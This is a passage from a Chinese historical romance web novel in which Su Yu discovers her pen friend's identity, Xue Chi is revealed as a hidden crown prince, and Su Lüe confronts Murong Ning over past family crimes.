谢无衣的形象与记忆里的笔友是相似的,以前从来没想过,是觉得不会这么巧。 而手里的这封信,在告诉她, 就是这么巧。 “姑娘,这是怎么了?”绿川被吓坏了。 苏钰只觉得脑子乱成一团,无数想法念头在脑海里划过。 要是当时谢无衣赴约了…… 不该冒出来的念头,苏钰不禁揉着眉心。 人生没有如果,在她与薛迟定情后,也没不可能有如果。 “谢大人是出什么事了吗?”绿川试探性问着,苏钰的反应,让她有些害怕。 苏钰愣了一下神,这才想起来,她还没来的及看的信内容。 把掉落的信件捡起来,细细读着。 一封问侯的信件,没什么事。风格一如即往,没什么重要的事情,内容却是生动有趣。 “收起来吧,放一起。”苏钰把看完的信递给绿川,人从椅子上起来。 绿川把信折好装回信封里,又把刚才苏钰着急找信弄乱的匣子整理好,和以前的信件放在一起。 全部整理好,匣子放回原位,绿川看向苏钰,只见苏钰又躺回到床上,被子蒙着头。 绿川走到床边,声音微微颤抖,“难道谢大人是……” 苏钰吩咐把谢无衣的信与笔友的信放在一起,这意思太明显了。 “别说话,我想静静。”苏钰闷声说着。 苏钰静了三天,大脑依然一片混乱。 她很想去质问谢无衣,到底为什么失约? 但质问之后呢,跟谢无衣说,我就是你笔友,大家继续当好朋友? 怎么当,她刚跟薛迟坦白,打算跟薛迟继续,再去跟谢无衣当好朋友。 晋阳长公主能气疯,慕容宁也会晕倒。 “姑娘,吃点东西吧,天大的事,总要先填饱肚子。”绿川小心翼翼说着。 苏钰静了三天,不能说不吃不喝,但也没吃多少。 绿川有些担心,正想劝几句,就有婆子进门传话,“大姑娘,有位姓程的公子求见。” “姓程?”苏钰愣了一下,一时间想不到是谁。 “姑娘要见吗?”婆子问着。 苏钰道:“见,请他到前书房稍坐。” 心情烦闷,不管是谁,她都想见。 婆子应着,赶紧去前头传话。 绿川侍侯苏钰穿好外衣,坐车去了前书房。 进到屋里,抬头看到来人竟是程喻时,苏钰又是惊又是喜,笑着说,“你什么时候进的京?” 程喻笑着回答:“我是跟陈平陈大人一起来的。” 两天前他就到京城了,为了给郑家脱籍之事,陈平特意带他去了一趟衙门。 让他亲看着户部的文书,如何落成的,郑家脱籍文卷,也让他亲自过目。 苏钰微微一怔,心中有些意外。 陈平办事向来稳妥高效,脱籍不是很大的事,应该不需要程喻特意跑这一趟。 但陈平确实是把事情办妥了,看程喻高兴,也没再说。 “我还见到了薛迟薛大人。”程喻高兴说着。 苏钰又是一愣,“薛迟?” 程喻连忙讲了与薛迟见面的全过程,他对薛迟印象非常非常好。 薛迟客气又亲切,为了给郑家脱籍,接触过那么多权贵,薛迟是最对他最好的一个。 “薛大人安排我住在公主府,我以后就是薛大人的幕僚了。”程喻笑着说。 “啊?”苏钰又是一愣。 看来是薛迟看中程喻,陈平才把程喻带进京城的。 见过真人后,要是薛迟看中程喻了,就留下来当幕僚。要是没看中,直接打发程喻回直隶。 以给郑家脱籍当借口,一切都看似巧合,看程喻神色应该是不知道其中原由。 不过,见都没见过的人,薛迟为什么会看中程喻,给他这个机会。 “那你想留在公主府吗?”苏钰问程喻。 程喻点点头,神色认真,“我都快二十岁了,功名无望,难得有贵人提拔,我不想放弃这个机会。” 谁都想功成名就,他也不例外。 现在郑家己脱籍,亡母遗命己了,他也想奔前程。 薛迟给他这个机会,他当然要抓住。 苏钰点了点头,笑着说,“薛迟不是难侍侯的主子,你好好努力吧。” 程喻笑,起身向苏钰躬身见礼,“郑家的奴籍己除,此事己了,再次向姑娘道谢。” 这也是他今天过来的目的,郑家之事最初他就是托的苏钰。 现在事情了了,总要来告知一声。 “太客气了。”苏钰笑着说,“你常住公主府,以后少不得常见面。” 程喻笑着说,“我听陈大人说,长公主己经在准备聘礼了,恭喜你。” 进京的路上,陈平不停的跟他说,苏钰和薛迟多么的般配,感情多么的好。 皇上错点鸳鸯,本以为有情人拆了,没想到峰回路转昭华公主殁了。 晋阳长公主马上准备聘礼,就等合适的日子去提亲,有情人终成眷属。 苏钰是他的恩人,薛迟更是他的大恩人,他是真心为他们高兴。 聘礼两个字让苏钰神色一僵,不会这么快吧。 不行,她得见薛迟。 *** “母亲,喝茶。” 苏玫小心翼翼地端着茶来到关氏面前,脸上带着一丝讨好与不安。 关氏看着苏玫手中的茶碗,心中的怒火再也无压制,猛地抬手将茶碗摔在地上。 “啪!” 清脆的碎裂声在房间里响起,苏玫吓坏了,连忙退了一步。 关氏怒目圆睁,手指颤抖着指向苏玫,怒斥道:“你这个不孝女,竟敢把我骗到庙里来,你可知你都做了些什么?” 苏玫对她说,来莲花庵为苏越祈福,她信了。 这是她的亲生女儿,怎么可能会骗她,苏玫就是骗了她。 苏玫连忙跪下,泪水瞬间涌出眼眶。“母亲,女儿是真心为了您好啊!” 关氏怒不可遏,声音都有些颤抖:“为我好?你把我骗来这里,让我成为众人的笑柄,这就是为我好?越哥儿的亲事退了,现在府里二太太管家,如今苏家再无我的容身之地!你还敢说为我好。” 谷夫人好狠的心,她不过来庙里几天,就把她挤的无身之地。 连她身边的人都瞒的严实,要不是关灵灵的母亲气不过,派婆子过来说她,她都不知道苏越与关灵灵的婚事己经退掉了。 苏玫一边抽泣着,一边急切地说道:“母亲,越哥儿与关灵灵的婚事确实不妥,二房承爵之事已成定局,若再闹下去,父亲真的会跟您和离的。女儿不想看到您失去一切。” 去求谷夫人之前,她先去见的就是苏天佑。 苏天佑是主意己定,他是真会和离。 而关氏,虽然经常说后悔,日子过不去下了,但她心里是不愿意和离的。 而且怎么离,离了之后,关氏怎么办。 关氏瞪大了眼睛,满脸的不可置信:“连你都觉得我做错了吗?” 苏越跟她说,他想退婚。 现在苏玫也来跟她说,她错了。 这就是她养大的一双儿女,为什么都要背叛她。 苏玫擦了擦眼泪,努力让自己的声音平静下来:“母亲,您冷静想想。从年前开始,朝廷上大清洗,那么多人都死了,苏家与关家的关系,只差互相捅刀子了,还怎么结亲。” “爵位之事,是老太爷的主意,这个家里谁能拗的过他。二房己经搬回国公府,一切皆成定局,继续闹下去,只会让三房更难。” “女儿这么做,都是为了您,为了越哥儿。” 关氏看着跪在地上哭泣的苏玫,心中的愤怒渐渐平熄下来,剩下只有悲凉与麻木。 是啊,一切都成定局,她闹,苏天佑就会跟她和离,把她赶出苏家。 苏天佑干的出来,谷夫人也能狠下心肠。 苏玫见关氏如此伤心,心中也十分难过。她跪着向前挪动了几步,伸手轻轻握住关氏的手:“母亲,您别生气了。女儿知道错了,以后女儿一定听您的话。” 关氏任由苏玫握着自己的手,却没有回应。她的眼神空洞,心如死灰。 “我想在莲花庵多住一阵子。”关氏说着,“你先回去吧。” “母亲,我陪着你。”苏玫说着。 关氏摇摇头,“回去吧。” 陪她做什么呢,苏玫还有大好年华,没必要陪着她这个心死之人。 第128章 第 128 章 陈平跪在地上,背…… 陈平跪在地上, 背脊己经被冷汗打湿。 “大人,这是查到的。”陈平声音微颤,举起卷宗的手都是颤的。 来复命之前,他己经安排好后事。 做为心腹, 薛迟待他没话说, 但也因为心腹, 所有事情都是他办的。 主子的事知道太多, 真不是好事。 薛迟神色平静,平静到几乎没有表情的地步。他越是这样, 陈平越是害怕。 “我不想看了,告诉我结果。”薛迟说着。 陈平手一抖,卷宗掉落在地上,声音越发颤抖,“是谢……” 上回薛迟让他调查谢无衣和苏钰关系时, 他只查到谢无衣与苏钰一样喜爱话本。 实在是线索太少,想查也没得查。 当薛迟提供的线索足够多了,那能查到的就更多了。 幸运的是, 他上次汇报的时候, 没有把话说太死。 “谢无衣。”薛迟接着说了下去。 陈平不敢作声。 “下去吧。”薛迟说着。 陈平只觉得小命保住了, 颤颤巍巍起身往外走时,薛迟平生第一次叮嘱他, “不要乱说话。” 陈平心头猛松口气, 会这样叮嘱他,也就是自己的小命保住了,死人是不需要叮嘱的。 “下官对天发誓,绝不会多说一个字。” 陈平连滚带爬出门去,带过来的卷宗, 一起带走。 薛迟不想看,那就不能留下碍薛迟的眼,带走烧掉,一点渣都不能剩。 这回能保住性命,他以后就是薛迟最贴心的心腹了。 得知这种大事都没死,薛迟是打算留他了。 书房的门轻轻关上,似乎把阳光以及一切都关在了外面。 面无表情的薛迟突然起身,抬手把桌子上所有东西都挥落在地上。 从小到大,都不曾如此失态过,早就料到的结果,依然让他暴怒。 为什么是谢无衣,为什么偏偏是谢无衣。 薛驸马和晋阳长公主冒天下之大不韪抚养他成人,为保他性命,薛驸马更是殚精竭虑。 谢无衣是他们的独子,同府长大,因为他连都不能认祖归宗。 他小时候就立过誓,只要自己能做到,将来他一定会回报他们夫妻。 而谢无衣是他们的独子。 东西落到地上,乒乒乓乓的声音随之响起。 薛迟再次安静下来,表情又恢复了原来的样子。 所有事情,总有了结的办法。 *** 明道斋中,静谧无声,唯闻墨香四溢。 “公……” 守门的护卫看到晋阳长公主,连忙要见礼。 晋阳长公主挥挥手,让护卫退下,连屋里侍侯的下人,一并退出。 屏退下人,晋阳长公主这才走进明道斋。 谢无衣立于书桌前,挥毫泼墨,神色专注。 他身姿挺拔,一袭白衣如雪,墨发随意束起,眉宇间透着一抹清冷与倔强。 听到脚步声,知道晋阳长公主来了,谢无衣却并未停下手中之笔。 晋阳长公主缓缓走进,目光落在谢无衣身上。看着他专注练字的模样,心中一酸,眼眶渐渐泛红。 她一步步走到谢无衣身侧,静静地站着,期待着谢无衣能有所反应。 然而,谢无衣依然不理会她,仿佛她是一个透明人。 那天之后,谢无衣就被限制了自由,绝对不能踏出公主府。就是走出明道斋,也是三层外三层的守卫。 建章营骑的差事暂停,薛驸马做为羽林军老大,有这个权利。 也是从那天起,谢无衣就不再搭理她和薛驸马。 晋阳长公主整理情绪,缓缓说着,“昭华公主殁了,我很快就要去苏家给薛迟提亲。” 谢无衣听到这话,猛地抬起头,愤怒地看着晋阳长公主。 晋阳长公主继续说道:“门当户对,两相情悦,全京城都说他俩是天作之合。” “是你想横刀夺爱,做这个恶人,我们拦你,是为了你好。” 谢无衣冷笑,“为我好,真的吗?” 明明是怕得罪薛迟。 晋阳长公主心情起伏,摸着旁边的椅子坐了下来,“你从来不问自己的父母是谁,是早就知道了吧,我就是你的亲生母亲,驸马是你亲爹。” 谢无衣沉默片刻,“是,我早就知道了。” 名份可以骗人,感情骗不了人。 从小到大薛驸马和晋阳长公主对他的态度,就能感觉得到。最真切的父爱和母爱,惯的他无法无天。 反而是薛迟这个亲生儿子,与薛驸马和晋阳长公主有明显的隔阂。 “那你知道为什么会如此吗?”晋阳长公主说着。 谢无衣微微皱眉,“因为薛迟?” 薛迟姓了薛,成了晋阳长公主和薛驸马的亲生儿子,占了他的位置。 晋阳长公主十分犹豫,最终还是开口了。“薛迟是先皇后之子,显庆皇帝的嫡长子。” 这个秘密隐瞒了这么多年,连谢无衣都没告知,事情太重要,绝对不能说。 现在无所谓了,薛迟的身份很快就会公开。 事情经过很复杂也很巧合,因立后之事,关太后对显庆皇帝十分不满,后宫斗争白热化。 程皇后进宫后的日子过的很难,不久后怀孕,巧的是,晋阳长公主也怀孕了。 当时的薛驸马己经是显庆皇帝的心腹,与程皇后自然是见过的。 从怀孕之初,程皇后就开始谋划,一番考查之后,最后决定把薛迟托给薛驸马。 生产当天,程皇后不得已用自己的死,换来薛迟的生机。 死婴替换了薛迟,宫人抱着刚出生的薛迟出宫。巧的是,薛迟与谢无衣同天出生。 薛迟被送进公主府,嬷嬷把谢无衣抱走。对外宣称,薛迟是晋阳长公主亲生的。 谢无衣听着,眼中露出一丝意外。 他进宫给三皇子当伴读时,对显庆皇帝很是熟悉,也见过显庆皇帝与薛迟相处时的模样。 他怀疑过薛迟的身世,想着可能是显庆皇帝的私生子。因关贵妃迫害后宫皇子,不得己抱到公主府抚养。 没想到薛迟竟然是元后嫡子,身份贵重。 晋阳长公主叹气,继续说。 三年后,关太后把程皇后之死查了个底朝天,边边角角都查过了,彻底放下戒心了,薛驸马和晋阳长公主也松口气。 因为晋阳长公主想念儿子,便借口薛驸马私生子的名义把谢无衣接到府里。 改了谢无衣的岁数,也是幸运,谢无衣长相俊美,与薛驸马那个大老粗完全不像。 “你可知,为何让你谢而不是姓薛?”晋阳长公主继续说着,“是你父亲的意思。” 薛驸马看着是大老粗,其实是粗中有细,行事十分谨慎。 让谢无衣姓谢而不姓薛,不想关太后起疑是一部分原因。 更重要的是,不同姓,就不同族。 父母干着杀头的买卖,若是成事,薛迟成为太子,斗倒关太后,公布谢无衣身份,重新认祖归宗,该有的好处全部有。 若是成不了事,薛迟死,薛驸马与晋阳长公主肯定也是人头落地。 而谢无衣,因为不同姓也许还能保住一命。 反正孩子就在跟前,给了他足够的爱,身份没那么重要。 父母为子女,必然计深远。 谢无衣听到这里,心中涌起一股感动,泪水悄然滑落。 关于自己的身世,他虽然能感觉到薛驸马和晋阳长公主是他的父母。 但为什么不相认,他想过无数个可能性。 偶尔的时候还会怨恨薛驸马和晋阳长公主,他明明才是亲生儿子,却没有明正言顺的身份。 “你怪我和你爹拦着你,但苏钰和薛迟本就是两情相悦。”晋阳长公主忍不住说着。 要是谢无衣和苏钰相爱,薛迟横刀夺爱,那还能论一论道理。 事实是,从一开始,苏钰喜欢的就是薛迟,薛迟也喜欢她。 年龄相仿,门当户对的一对璧人,冲着结婚谈恋爱。 想横刀夺爱的是谢无衣,不讲道理的也是谢无衣。 谢无衣有苦难言,只是紧抿着唇。 苏钰确实不喜欢他,就算是通信两年,她最后选的还是薛迟。 是他不甘心。 “这回□□,是慕容宁是一手主导,苏略在旁协助。一个苏钰的母亲,一个苏钰的兄长,苏家的立场己经在明白不过。”晋阳长公主说着。 苏略与薛迟也开始接触,苏天翊是摆明了要扶薛迟上位。 等到薛迟公布身份成为太子,苏钰就是理所当然的太子妃。薛迟称帝,她就是皇后。 薛迟与苏钰的婚姻,除了少男少女之间的那点情愫,更夹杂着政治利益。 这样的婚姻,才是最稳固的。 “苏钰会是太子妃,更是未来的皇后。对女子来说,成为皇后,天下最尊贵的女人。这是薛迟能给她的,也是她父亲给她铺的路。”晋阳长公主继续说着。 “你能给她什么,情情爱爱这些,在权利面前什么都不是。” “你若真喜欢她,就该成全她。而不是因为你喜欢她,就要缠着她,甚至毁了她。” 谢无衣茫然听着,他张张嘴想反驳,却不知道要说什么。 他自幼长在公主府,常年出入宫廷,自然知道权势的厉害。 就是苏钰在信上说过,她并不在意权势,那也是因为她己经站在权力巅峰,不想过度追求。 真让她那个巅峰下来,别说过平民生活,就是普通贵族,她也未必能接受。 晋阳长公主见他不说话,眼泪落的更凶了,拿手帜擦着泪,起身就要给谢无衣跪下,“算是我求你了……” 她亲手抚养薛迟长大,深知其子性情。 只要薛迟能成事,将来亏待不了她和薛驸马,从龙之功是肯定的。 她都到这个岁数,偿过权力的滋味,对薛迟所许的荣华富贵,虽然在意,却更想着谢无衣能更进一步。 一个府里长大的,一直以来感情也挺好。再加上她与薛驸马的功劳,谢无衣被封异姓王的可能性很大。 这样的大好前程,只要他放下苏钰,唾手可得。 “母亲!” 谢无衣吓坏了,见晋阳长公主要跪他,比她快一步的先跪下。 这些年来,他虽然经常跟薛驸马,晋阳长公主顶嘴,但并不是忤逆之子。 今天母子身份分明,如何能让晋阳长公主跪他。 “我答应你。” 晋阳长公主这才站起身来,伸手去扶谢无衣,“我不想逼你的,真的不想逼你。” 说着,晋阳长公主眼泪又落了下来。 唯一的儿子,她也希望谢无衣能过的好,与心上人成亲生子。 但是眼前的局面,真的由不得谢无衣。不管何种办法,她都要绝了谢无衣的心思。 “我知道,你们是为我好。”谢无衣说着,声音中透着一丝空洞。 这世上再没有人比晋阳长公主和薛驸马为他着想,所有的,全部能想到的都想了。 就像晋阳长公主说的,他若是真喜欢苏钰,就该放下,成全她的光明大道。 “我会放下苏钰,再不纠缠,再不理会。”谢无衣继续说着,声音越发空洞。 放下他今生至爱,彻底放下,真心祝福她和薛迟。 “好,好。”晋阳长公主连声说着,心中欢喜万分。 谢无衣虽然胡闹,却是一言九鼎,他既己承诺,就绝不会失言。 人不能一直这么关着,早晚都要放出来,她想要的就是谢无衣这句承诺。 “我与雨梓的婚事退掉吧。”谢无衣说着,“免得耽搁她的花期。” 晋阳长公主连连点头,临时定这门亲事,本就是无奈选择。 现在谢无衣承诺了不再招惹苏钰,这门亲事自然要退掉。 “还有我的亲事……”谢无衣顿了一下,“都别催我。” 晋阳长公主点头,心疼说着,“你的婚事,你自己做主。” 第129章 第 129 章 禁足在王府,慕容…… 禁足在王府, 慕容宁彻底闲了下来。 自从嫁进楚王府,慕容宁就没闲过,先把王府事务整理,挑出一个合适能干的长史官。 培养世子秦昊, 这是她对楚王爷的谢意。 与此同时, 也开始积极参与皇室各种活动, 取得显庆皇帝信任。 府外事务占了大多数, 王府内务实在不值得一提。 闲是闲了,慕容宁依然大部分时间在书房里。楚王府更像她的办公场所, 而不是家。 “王妃,苏家大爷求见。”长史官进门说着,心中有点点意外。 前夫的养子,突然这时候来访,不知是喜还是祸。 “请他进来。”慕容宁说着, 又叮嘱长史官,“把院里的人都撤了。” 长史官愣了一下,一般私密谈话是屋里不留人, 这院里都不留人, 是担心声音大了, 被院里人听到吗? “是。”长史官应着,赶紧带着人出去。 片刻后, 书房的门被大力推开, 甚至发出一声巨响。 苏略站在门口,眼中愤怒以及厌恶不再掩盖,直直看向慕容宁。 慕容宁太师椅上坐着,淡然而自若,既不意外苏略的到来, 又不意外苏略的愤怒。 若说以前苏略还能看在苏钰的面子上,对她有几分忍让,慕容弦的到来,让他再也忍耐不了。 “我也算阅人无数,在无耻之徒中,慕容宁,你能争争第一。”苏略冷笑说着。 “你代替慕容弦入京为质,不想入后宫被关太后拿捏,更不想成为宫斗的棋子。就勾搭我父亲,更花重金买通京城贵妇散播谣言,把你与父亲的相遇搞成人尽皆知的才子佳人。” “为了面子上好看,也是为了与慕容氏的关系不至于太僵,关太后只得指婚,你成了苏大太太,苏家成了你的庇护所,我父亲成了你的保护伞。” “我父亲深知其中原由,却依然对你爱护有佳,竭尽所能的护你的周全。” 慕容宁眼眸微垂,却不辩解,静静坐着。 思绪飘回当年与苏天翊相遇之时。 那时的她,身处困境,孤立无援。苏天翊如同一束光,照亮了她灰暗的世界。 她真心爱着苏天翊,这是毋庸置疑的,而借助苏天翊保护自己,也是实情。 苏略见慕容宁不言语,愈发恼怒,继续骂道:“苏家没有哪里对不起你,我父亲更没有,你又对苏家做了什么,可曾有过一丝愧疚?” 慕容宁闻言,冷笑一声,并不反驳,却是说苏略:“那你呢,十二岁的解元,曾经的京城第一才子,你都干了什么,让苏天翊这样的大好人,把你的名字从祖谱上划掉,把你从苏家赶出去。” 苏略是苏天翊捡来的,亲自抚养成人,苏略得到的父爱比苏钰还多。 虽然是养子,但苏天翊对苏略是抱有期待的,甚至想过将来把英国公的爵位都传给他。 “惹父亲生气是我的错,但他们不该活着。”苏略理所当然说着。 “那是你的亲生父母。”慕容宁冷笑,“母亲是奴婢,生父是某个你母亲都不确定的长工,这样出身让你觉得是耻辱。” “你想当苏天翊的儿子,你想自己的身世清清白白。所以就一把火烧干净,所有相关人,包括你母亲的主人家,一百多口,绝大部分人甚至连你的存在都不知道,就这么死的糊里糊涂。” 苏略冷然听着,神情全然不在意,唇角甚至勾起一抹笑。 对于此事,他唯一的遗憾是做的不够隐秘,让苏天翊知道了。 “你想当苏天翊的儿子,你想把自己的出身一把火抹干净。但刻在骨子里的本性,如何抹的干净。”慕容宁冷笑着。 “苏天翊对你失望至极,甚至都开始怀疑自我了,他亲自教养的养子,为什么心性会如此卑劣。” “苏天翊熬了自己十天十夜,不停的想,不停的反省自己。就不愿意承认,你就是天生的坏种。” “我差点忘了,是你向父亲进言,把我出族,赶我出苏家。”苏略心头火起。 他与慕容宁的不和来自第一眼,他卑劣,他狠毒。但也因为他狠毒,所以他更能看穿慕容宁的本性。 带着目的接近,只为给自己寻个安身立命之所。这样女人,根本就没资格嫁给苏天翊。 他最大的遗憾就是当时自己年龄太小,若是在慕容宁生下苏钰前,就把她弄死,也就没有后来的悲剧。 “这么多年来,你杀的人,比踩死的蚂蚁都多。”慕容宁说着,“这么重的杀孽,不知道苏天翊做何感情。” “我确实不是什么好人,也从来没想过当好人。但我对的起苏家,对的起父亲,我问心无愧。”苏略说着,眼中怒意更甚,“你呢,你受苏家天大的恩惠,又是怎么回报的。” “苏辰是怎么丢的,你敢说吗?” 提到苏辰,慕容宁脸色变了。 原本因怒气而有些涨红的脸,瞬间变得惨白起来,嘴唇紧紧抿着,说不清是愧疚还是心虚。 苏略心中怒意更胜,下意识就想动手掐死慕容宁,“慕容弦进京,你觉得他能走出京城吗。” 慕容弦上回进京是十五年前,说是西北大丰收,感谢天朝恩典。 苏天翊知道慕容宁思念弟弟,便邀请慕容弦来苏府小住,让他们姐弟团聚。 慕容弦也没有推辞,在苏府住下,初见苏钰时,送了大大的贺礼,还把自己的贴身玉佩给了苏钰。 正月十五元宵节,苏钰和叶峰,苏辰,苏邑四人乘车从叶府回来。 苏辰与苏钰年龄相仿,小孩子过年,穿的都是大红衣服。更巧的是,苏辰因为好奇把慕容弦送给苏钰的玉佩拿起把玩。 然后就在那天,苏辰丢了。 国公府丢了孩子,看过程好像合理。 苏天翊却总觉得蹊跷,最初苏天翊并没有往慕容弦身上想。 而想到另一种可能,苏辰根骨清奇,武艺上的造诣不可限量。只要好好培养,肯定能成为一代宗师。 因为苏辰年龄还小,苏天翊连苏天华都没说过。但心里却想过,好好培养苏辰,将来由她来继承衣钵,成为下一代家主。 若是某位大佬看中苏辰的天赋,设计把苏辰偷走,这是有可能的。 顺着这条思路,苏天翊坚持不懈的查了下去。 结果却是让苏天翊震惊。 偷走苏辰的是慕容弦,原因是当时的西北王老慕容氏病重无医。 慕容弦从南魏大国师那里到偏方,要以血亲之人一命换命。 听起来很离谱,但是南魏大国师确实是一代神人,医学治不好的病人,南魏的神学有时候会发挥奇效。 各国高层有治不好的病人时,都会抱着死马当做活马医的想法去找南魏国师。 老慕容氏只有这一儿一女,慕容弦还没成亲,没有子嗣,而慕容宁有女苏钰。 慕容弦当时想偷的是苏钰,血祭苏钰给父亲换命。 慕容弦送给苏钰的玉佩,是给劫匪的标记。 但阴差阳错,苏辰把玩玉佩,劫匪认错了人,抱走了苏辰。 “阿钰从来不知道,她的亲生母亲是想过要血祭她的。”苏略语气中除了愤怒,还有伤感。 苏钰是苏天翊的独女,他当亲妹妹一样爱护。 不管是他还是苏天翊,都希望苏钰能一世自在安然。 “更讽刺的是,你能活到现在,父亲还愿意庇护你,只因为你是阿钰的生母。” 慕容宁并不辩解,默然听着,任由苏略责骂。 其实,她并不知情。 慕容弦并没有跟她商量过,只是她知道的比苏天翊早。 她却选择了隐瞒,只因为慕容弦是她亲弟弟。 后来苏天翊查到慕容弦身上,在苏天翊质问她的时候,她说她知道。 她担下罪名比慕容弦合适,以苏天翊的个性,做为丈夫的他,肯定会选择与自己一起承担,不会把此事告知苏天华,更不会曝光她。 西北慕容氏是降臣,经不得太多事非。尤其是关太后执政期间,手段阴毒,一直想找借口对慕容氏发难。 父亲病重的消息对外一直隐瞒,慕容弦还太年轻,若是此事爆出,慕容氏的处境会更加风雨飘摇。 苏天翊是个好人,从来都是大家长思维,照顾每一个亲人。 而且怎么对苏天华说,我的老婆害了你的女儿,更让你们夫妻失和。 更没办法对苏钰开口,你的母亲想过要你死。 好人嘛,从来不会得好报。 “因为你犯的罪,父亲只得放下京城所有,从前途不可限量的内阁重臣,脱下华服穿上黑衣,彻底融入黑暗中,成了见不得人的监察寮正使。”苏略说着,语句悲凉。 大周的监察寮从来都是存在的,还是非常强悍的存在。明面上那个落魄不堪的监察寮只是个摆设。 显庆皇帝突发奇想要搞关太后,让慕容宁出任这个所谓正使,只是一个明面的摆设。 监察寮的工作,不止是监视朝中大臣,更多的是监察各国动向,战场上传递情报,尽可能的搅和他国朝廷。 刺杀别国重臣,更是份内之事。 慕容宁说他杀的人,比踩死的蚂蚁多。而现在苏天翊杀过的人,比吃的过饭都多。 那样一个清风雯月,温润如玉的谦谦君子,却不得不沾满鲜血,成为见不得光的厉鬼。 以苏天翊当时的威望地位,他向关太后和显庆皇帝请命要当监察寮正使,为大周离开京城,深入敌军腹地时,两人都是震惊的。 一旦身入黑暗,就不可能再有光明的一天。 就好像染黑了,永远洗不白一样。 苏天翊没有向任何人说过原由,但苏略知道。 心系大周安危是一方面,再就是因为苏天翊需要情报网。 他需要找回被慕容弦弄丢的苏辰,给苏天华和叶氏夫妻一个交代。 他在替慕容宁赎罪,只因为他娶了慕容宁,慕容宁给他生了孩子。 第130章 第 130 章 太过沉重的过往,…… 太过沉重的过往, 房间里一片沉默,似有肃杀之气弥漫。 苏略立在那里,眼中恨意如深潭之水,仿佛能将人淹没。 慕容宁看着苏略, 嘴角勾起一抹嘲讽:“其实你也很高兴的吧, 苏天翊不坠入黑暗, 他不会认回你。” 苏略眼神似刀, 瞪着慕容宁,却是沉默不语。 这话并没有错, 苏天翊是个好人,性格温和,但做下决定却不会轻易更改。 既然决定赶他走,再怎么样求饶道歉都没有用。 直到苏天翊决定接手监察寮,他再次去找苏天翊, 跪在苏天翊面前。 苏天翊静静看着他,把监察寮的情况告诉他,对他说, 要是还愿意留下来就留下来吧。 他又像以前一样, 成了苏天翊最器重的儿子。 他为自己高兴, 却又为苏天翊悲伤。 “那我也告诉你一件事。”苏略笑着,看向慕容宁, 温柔却残忍, “父亲早就知道,你最初是不知情的,是替慕容弦顶罪。” 慕容宁心头一紧,苏天翊掌管监察寮,以他的能力, 就是不想做也能做到最好。 再没地方比监察寮的消息更灵通,这么多年了,苏天翊自然查到了。 知道她不知情,却没有再联络过她,夫妻情份是彻底无了。 “你替慕容弦顶罪,不就是想拉父亲下水,帮慕容弦扛下这口锅。”苏略说着,“他确实如此你所想的,没有把苏辰丢失的真相告知苏天华,但这也是最后的夫妻情份。” 这回他与慕容宁联手,纯粹是双方利益一致。 当然,因为慕容宁是苏钰的生母,他会保她不死,也只是不死而己。 房间里的空气仿佛凝固了一般,让人喘不过气来。 慕容宁神色百感交集,苏天翊怎么可能还会对她有感情,她到底在期待什么。 眼眸轻垂,眼泪憋了回去,却悲凉笑着,“苏天翊想着贤妻子孝,家庭满圆,却遇上你这个‘孝子’,我这个‘贤妻’,呵呵……” “住口,别拿我和你相提并论。”苏略怒声说着。 他可以负天下人,但从来不负苏天翊。 这些年来出生入死,刀山火海,他从不后悔。 慕容宁倒是清清白白的当着好人,苏天翊爱她最深,对她最好,结果却最惨。 慕容宁嘲讽笑着,看着苏略时,突然问道,“是不是找到苏辰了?” 因为抓错了人,自然不能用苏辰血祭。慕容弦并没有杀苏辰,可苏辰却在那场意外中丢了。 “与你无关。”苏略冷笑,“你还是想想,怎么保住你那好弟弟的命吧。” 话完,苏略转身出去,留下慕容宁径自坐着。 被屏退的下人没有收到通传,也不敢上前来,整个书房安静极了。 好像呆滞坐着的一般慕容宁,脑中思绪纷杂一片,心脏似被千刀万刮着。 她想到了苏天翊,苏天翊为人宽厚,他想要的也不多。 他希望想国泰民安,却身处乱世之中,四周强敌环伺,一刻不得安宁。 他想君子立于世,青天白日,昭之天下,光明磊落,不忧不惧。结果却坠入最深的黑暗之中,再见不得光明。 就连最朴素的希望,妻贤子孝,家庭和美,都摊上了她和苏略这种“贤妻孝子”。 想到伤心处,慕容宁一口鲜血喷了出来。血迹落到书案上,还有几滴落在书页上。 慕容宁身体好像虚脱了一般,却是抬起手轻轻拂去唇角的血迹,深吸口气,让自己平静下来,随即提笔开始写信。 *** 关倩倩嫁给大皇子为侧妃的消息,传到苏钰这里时,她着实愣了一下。 实在是没想到,关倩倩成年开始就谋划自己的亲事,只想嫁个好人家。 最后竟然嫁给了一个傻子,连正妃都不是,只是侧妃。 “说是下个月就进门,据说关倩倩的母亲眼睛都要哭瞎了,想进宫却连宫门都没进去。”绿川说着八卦消息。 关倩倩在京城闺秀里,是非常出名的。本身条件好,又能折腾,只为找个好夫婿。 几年下来,眼看着都快成大姑娘了,多么人等着看关倩倩的笑话,没想到这个笑话来的这么大。 苏钰想了想道:“估摸着是得罪关贵妃了。” 大皇子在皇宫的待遇,别人不清楚,她清楚的很,连侍侯的太监都不当他是回事。 没人会心怀善意的帮他张罗婚事,只能是因为惩罚,惩的是关倩倩。 关倩倩最近一直在给昭华公主当跟班,想嫁给三皇子。 关贵妃痛失爱女,关倩倩的马屁拍到马脚上,可不是就倒大霉了。 绿川有些意外,“怎么说都是一家人,也不至于……” 苏钰说着,“站在权力巅峰久了,都不拿人当人了,怎么还会在意亲人。” 要是亲情有用,大皇子就不会那么惨。 关太后,关贵妃是故意虐告诉,但显庆皇帝是亲爹,大皇子活得还不如一条狗。 两人正说着,就有婆子进门传话,“太安来了,想见姑娘。” 太安是苏略的心腹,常在苏府上下行走。但毕竟是成年男子,要进姑娘的闺房,都得通传。 苏钰点头,“请他进来。” 绿川侍侯苏钰穿上外衣,片刻后太安进来,身边跟着两个年轻男子,手握刀剑,身手不欲。 “给姑娘请安。”太安笑着说。 苏钰坐在榻上,笑着问,“大哥是有事吩咐我?” 太安笑着说,“大爷派了两个人给姑娘。” 说着指指身侧两个年轻男子,左侧一个先开口,“在下张三。” “在下李四。” “见过姑娘。” 这名字起的还真随意,苏钰有些意外,“我府里住着,也需要侍卫了吗?” 这两个明显是保镖,出门带保镖就算了,在家里用不着吧。 太安笑着说,“他们俩跟在大爷身边久了,最是可靠,想着姑娘最近缺了使唤的人,特意派他们过来。” “毕竟昭华公主新丧,关贵妃伤心太过。” 苏钰明白,苏略这是担心关贵妃突然发癫,细想来她也有点怕。 “那就留下吧。”苏钰说着,“总是让大哥为我操心。” 也是她太大意,总觉得昭华公主死的时候,自己清清白白,却没想过在关贵妃看来,她和薛迟的关系不清白。 昭华公主的死,怎么也会算在她头上。 